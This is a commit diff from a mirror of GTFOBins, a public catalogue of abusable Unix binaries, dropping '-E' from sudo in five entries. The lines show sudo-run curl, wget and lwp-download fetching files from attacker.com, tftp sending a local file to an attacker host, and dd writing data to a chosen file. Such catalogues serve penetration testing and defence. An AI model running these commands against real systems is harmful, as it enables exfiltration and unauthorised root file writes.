mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Remove useless instances of sudo -E
This commit is contained in:
parent
fbd887e91a
commit
9cd6849b8e
@ -28,5 +28,5 @@ functions:
|
||||
code: |
|
||||
URL=http://attacker.com/file_to_get
|
||||
LFILE=file_to_save
|
||||
sudo -E curl $URL -o $LFILE
|
||||
sudo curl $URL -o $LFILE
|
||||
---
|
||||
|
@ -15,5 +15,5 @@ functions:
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_write
|
||||
echo "data" | sudo -E dd of=$LFILE
|
||||
echo "data" | sudo dd of=$LFILE
|
||||
---
|
||||
|
@ -15,5 +15,5 @@ functions:
|
||||
- code: |
|
||||
URL=http://attacker.com/file_to_get
|
||||
export LFILE=file_to_save
|
||||
sudo -E lwp-download $URL $LFILE
|
||||
sudo lwp-download $URL $LFILE
|
||||
---
|
||||
|
@ -22,6 +22,6 @@ functions:
|
||||
- description: Send local file to a TFTP server.
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
sudo -E tftp $RHOST
|
||||
sudo tftp $RHOST
|
||||
put file_to_send
|
||||
---
|
||||
|
@ -23,5 +23,5 @@ functions:
|
||||
code: |
|
||||
export URL=http://attacker.com/file_to_get
|
||||
export LFILE=file_to_save
|
||||
sudo -E wget $URL -O $LFILE
|
||||
sudo wget $URL -O $LFILE
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user